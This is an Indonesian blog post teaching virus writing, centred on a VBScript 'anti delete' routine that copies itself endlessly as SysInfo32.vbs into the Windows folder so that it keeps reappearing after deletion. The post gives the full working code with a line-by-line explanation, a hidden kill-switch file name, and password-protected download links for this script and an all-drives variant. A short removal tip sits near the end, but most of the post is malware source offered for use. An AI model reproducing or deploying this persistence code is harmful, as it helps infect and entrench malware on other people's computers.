ANTI DELETE

Mungkin ini adalah jurus kanuragan virus yang wajib dipunyai secara mutlak, biar daur hidupnya terus berlangsung.Kayaknya nih virus harus pergi ke Banten dulu buat belajar debus, biar nggak mempan di kemplang dan di masukan ke tong sampah alias Recycle Bin.

Simak ( jailaaah simak ) kode berikut ( maaf kalau bahasanya sok menggurui, buang prasangka itu jauh-jauh ya ).Cekidot……

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set win=dendrif.GetSpecialFolder(0)

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

do

if (dendrif.FileExists("c:\ranis.jpg"))=false then

set c3vs=dendrif.createTextFile(win & "\SysInfo32.vbs")

c3vs.write c1vs

c3vs.close

else

end if

loop

penjelasan script

on error resume next = bila terjadi kesalahan lanjutkan ke perintah selanjutnya

set dendrif=CreateObject("Scripting.FileSystemObject") ==> menset dendrif sebagai  penghendelan file objek untuk pembuatan file atau hal lainnya yang dibutuhkan vbs ,saya juga kurang paham arti khususnya

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName) ==> menset vs untuk penghendelan membuka virusnya sendiri (Wscript.ScriptFullName)

c1vs=vs.ReadAll  == >variable c1vs digunakan untuk pembacaan virus secara keseluruhan

vs.close  ==> pembacaan virus selesai dan di tutup

set win=dendrif.GetSpecialFolder(0)  ==> penghendelan untuk mendapatkan folder windows

set c2vs=dendrif.GetFile(Wscript.ScriptFullName) ==> menset c2vs untuk mendapatkan informasi virus

do = lakukan

if (dendrif.FileExists("c:\ranis.jpg"))=false then = jika file ranis.jpg tidak ada di C:\ maka

set c3vs=dendrif.createTextFile(win & "\SysInfo32.vbs") = men set c3vs untuk membuat file virus di windows dengan nama sysInfo32.vbs

c3vs.write c1vs = file yang dibuat dituliskan code virus

c3vs.close = penulisan selesai lalu di tutup

else = yang lainnya

end if = akhir dari if / jika

loop = lakukan perulangan  membuat/pengkopian virus..makanya virus nggak bisa di hapus…..   :D

jalankan script dan coba hapus file SysInfo32.vbs, setalah di hapus akan nongol lagi - nongol lagi....
cara menghapus supaya tidak nongol lagi bagaimana? saya juga gak tahu...........
boong deng, ada kok caranya coba buka taskmanager, pilih wscript.exe, klik end process, klik end process lagi, kemudian hapus file SysInfo32.vbs yang ada di folder windows.

download script 
password = www.dendrif-deo.co.cc[antidelet]

download script 
password = www.dendrif-deo.co.cc[antideletalldrive]
semoga bermanfaat..... :D